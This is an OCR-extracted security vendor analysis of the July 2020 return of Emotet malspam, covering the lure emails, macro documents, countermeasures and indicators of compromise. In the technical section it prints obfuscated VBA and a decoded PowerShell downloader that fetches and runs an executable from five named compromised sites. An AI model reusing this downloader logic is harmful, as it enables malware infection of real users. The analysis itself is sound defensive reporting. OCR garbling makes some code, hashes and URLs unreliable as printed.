Emotet is back

Security Lab July 20, 2020

vl SECURITY LAB:
RETURN OF

EMOTET

Summary

On 2020-07-17 the Hornetsecurity Security Lab detected the return of Emotet malspam. The
reemerging Emotet malspam was already blocked by existing detection rules. The current
Emotet malspam wave again uses malicious macro documents spread either via attachments
or via malicious download links. As usual, the VBA macros in the document download the
Emotet loader that the Hornetsecurity Security Lab has previously analyzed [EmotetLoader].

Background

As previous reported the return of Emotet was inevitable. The Emotet botnet did not send
malspam since 2020-02-07. While there were other activities on the botnet, as can be seen in
the following timeline, no malspam was observed by the Hornetsecurity Security Lab since
2020-02-07.
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https://www.hornetsecurity.com/en/security-information/emotet-is-back/

: ) Trickbot observed dropping Emotet
Email stealer module discovered pRINg

Epoch 3 split from Epoch 1
Spam jtops Spam stops Spam stops
—r »
Spam returns Spam returns Spam returns
C2 changes from CET to POST Epoch 2 drops updated loader

RSA key, loader, C2 protocol updates

On 2020-07-17 new Emotet malspam emails were blocked by Hornetsecurity’s email filtering
systems. One of such emails looks as follows:

H ~ X x - Machricht (Mur-...

Datei Machricht Hilfe Q Was méachten Sie tun?
RO 0 < IO DO 251~ @J 1 17.07.2020
SO MMM MMM “

-._.E PO# 07172020Ex.doc
197 KB

Please review and respond by Monday, July 5, 02020.
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The email has a Word document attached, however, other emails with malicious download
links to the malicious Word documents exist as well. When opening the document it instructs
the user to click the “Enable Editing” (or as the Emotet authors put it “‘Enable Edition”) and
click the “Enable Content” banner buttons:

H % PO#07172020Ex.doc [Schreibgeschitzt] [Kompatibilitdtsmodus] -... Anmelden &= = O

Date Start Einfilgen Entwurf Layout Referenzen Sendungen Uberprifen  Ansicht  Hilfe Q Sie wiins r!:-}_Teilen

] Office 365

Operation did not complete successfully because the file was created on 10S device.

To view and edit document click Enable Edition and then click Enable Content.

Seite Twvon2  OWarter [[¥  Russisch Egl B - ] + 100%

If a user does so, they become a victim to Emotet.

Technical Analysis

As previously reported the typical Emotet infection chain is as follows:
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MITRE ATTECK® tactics and technigues
Flow of Stolen Emails
TrickBot connection
[To keep the graphic managesble not all detsils and technigques are shown!)
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TI065 - Uncommanly Used Part
T1084 - Custom Command and Control Protocol
T1032 - Standard Cryptographic Protocol

TACDMN - Command and Control

We already reported on the Emotet loader as part of an analysis regarding its updates.
Because at that time Emotet did not send malspam we could not outline the malicious

documents typically used in Emotet infections.

The VBA macros are obfuscated. The macro will construct a Powershell command from
obfuscated strings embedded in the VBA macro:

| (Allgemein) w | | leabroegthaenveaw w
o |

leabroegthaenveaw = yvanbeugqutoumkaojxikb (n2)
bwcl = Chr%(55) & Chr%(54) & Chr£(50) & Chr£(51) & Chrs(121) & Chrs(1l03) &

= & Chrf% (105) & Chr%(50) & Chr$(51) & Chr%(98) & Chr%(106) & Chr%(107) & Chrs(l
vWXg = 1BGc

TVEQW = """
vWHg = Chrs(1l08) & ChrS5(66) & ChrZ(71) & Chrs(93)

If vWXg <> bwclL Then

== <
=
™~

| Project. tochtheyheoh.leabroegthaenveaw
Ausdruck | Wert | Typ
tochtheyheoh tochtheyheohitochthe
leabroegthaenveaw "powershell -e JABKAGEAJQBgAHcAaQBvAGoAY wBvAGKACwW REELETIVE I
bwscL "T823vgbhjdkgbjkdggwduiZ3bjks” “ariant/String

Decoding the Base64-encoded command reveals the 5 Emotet loader download URLs:
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Input et =R
JABKAGBAdQEgAHCAaQBVAGZAYWBVAGKACWBIAGBAYQBZ AGWAaQB I AHAAPQANAGEAZQBhAGQACOB1AGRA
ZOB6AHKAQELAHY AIWATAFSATZB1AHQAL gBTAGUACZB2 AGKAYWB IAFAADWE pAGAAdABNAGEADEBhAGCA
ZOByAFAADZABACTAUWBZAGUAYWB1AFIAGQBEAHKACABEAFTIADWBBAGAATWE JAESADAATACAAPQAZACCA
dABSAHMAMQAYACWATABBAGWACWAXADEAL AASAHQADABZ ACCADWAIKAHQAYQE jAGEAagEhAGKADEAZADSA
TAANADDANAATAC c ACwAk AHAAhWRT AHYAT ARVAGH I ApoRCAGK AhwR IAGRAYOR 1 AHF AADRaAHNIAAORAADAA

start: 735 time: 1ims

Output end: 22 lengtn: w5 g 0] (R r

length: 328 lines: 1

$doujwiochcoisboasliep="headquoezyuuv’;
[Het.ServicePointManager]::"S ecuRityp Rot 0cOl" = "t1s12, tls11, tls";%tachjain =
"443" ; $pouvdoezyiowmauqujuuz="zin" ;$haoch=%env:userprofile+ '\ ' +3$tachjain+".exe’;3%r
iofvoazfeigujejboux="feij';$tiththoenyuathlauz=8&("'n"'+"ew-obj'+'ect’)
net.wEbCLieNT;$juaghioyroabco]="https:/ www.elseelektrikei. com/wp-
content/hedk2/*https://www.rviradeals. com/wp-

includes/LeDR/*https: //skenglish. com/wp-

admin/oBgf/*https:/ www.packersmoversmohali.com/wp-
includes/pgmtdx/*https://www.tri-comma. com/wp-admin/MmD/ " ."sp™ 1it"
{[char]42);%xiochcahdodvawpuahyosqu="thoakveekcual';foreach({$zaosvuahthoum in
$juaghioyroabcoj){try{$tiththoenyuathlauz. "Do wnlo™ A" Dfile” ($zaosvuahthoum,
thaoch);%wualyiach="xevnoaqulachloedvualfil’ ;If ({.({'Ge'+'t-I'+ "tem")
i Elolol IR -0 U [CR (R R lCE P S IR ( [wmiclass] "win32 Process')."c R eatE”
{$haoch); fnan="quaoxcheewvouthbaucvaoth' ;break; $xuulguuj="wackyaenmeoz jauwfuucchia
s'}rcatch{}}$thikthiczhum="taiwveictich’

The document will try to download the Emotet loader from each of these 5 URLs:

Protocol nfo
LN Sldliudiu Yuely UALoLY

Standard quen

H SELI .EVEILS . Udld.IlLLI USUIl L. LU
& www.elseelektrikci.com
Standard que & www.rviradeals.com
Standard que 31 A skenglish.com
Standard que A www.packersmoversmohali.com
Standard query f A www.tri-comma.com
nNS Standard ouerv 8x36hf A wew_ msftoconnecttest.com

In case one of the 5 downlods is successful, it executes the Emotet loader, which we
previously analyzed in a different article [EmotetLoader].

Conclusion and Countermeasure

Unlike previously speculated Emotet has no new tricks — at least not when it comes to the
malspam.
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To protect against Emotet the US CERT recommends to “implement filters at the email
gateway to filter out emails with known malspam indicators” [USCERT].

Hornetsecurity’s Spam Filter and Malware Protection, with the highest detection rates on the
market, already detected and blocked the reemerged Emotet malspam. Hornetsecurity’s
Advanced Threat Protection extends this protection by also detecting yet unknown threats.

Beyond blocking the incoming Emotet emails defenders can use public available information
by the Cryptolaemus team, a voluntary group of IT security people banding together to fight
Emotet. They provide new information daily via their website [CryptolaemusWeb]. There you
can obtain the latest C2 IP list for finding and/or blocking C2 traffic. For real-time updates you
can follow their Twitter account [CryptolaemusTwitter].

References

» [EmotetLoader] https://www.hornetsecurity.com/en/security-information/awaiting-the-
inevitable-return-of-emotet/

o [USCERT] https://www.us-cert.gov/ncas/alerts/TA18-201A

e [Cryptolaemus] https://paste.cryptolaemus.com/

e [CryptolaemusTwitter] https://twitter.com/Cryptolaemus1

Indicators of Compromise (IOCs)

Hashes

SHA256 Description

99d8438c947cac7cal363037f1436ecab4e7fa4609c9c597f6Td5006a050d361aa  Malicious
document

5d2c6110f2ea87a6b7fe9256affbacOeebdeeel18081d59e05df4b4a17417492b Malicious
document

c5949244e5d529848c2323545a75eec34e6ba33c6519d46359b004d6717a68a5 Malicious
document

URLs

e hxxps[:]//www.elseelektrikci[.]Jcom/wp-content/hedk3/

o hxxps[:]//www.rviradeals[.]com/wp-includes/LeDR/

e hxxps[:]//skenglish[.]com/wp-admin/o0gf/

e hxxps[:]//www.packersmoversmohali[.]com/wp-includes/pgmt4x/
e hxxps[:]//www.tri-commal.]com/wp-admin/MmD/

DNSs
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https://www.hornetsecurity.com/en/services/spam-filter/
https://www.hornetsecurity.com/en/services/advanced-threat-protection/
https://www.hornetsecurity.com/en/security-information/awaiting-the-inevitable-return-of-emotet/
https://www.us-cert.gov/ncas/alerts/TA18-201A
https://paste.cryptolaemus.com/
https://twitter.com/Cryptolaemus1

www.elseelektrikci[.]com
www.rviradeals[.]com
skenglish[.]com

www . packersmoversmohali[.]com
www . tri-commal[.]com

8/8



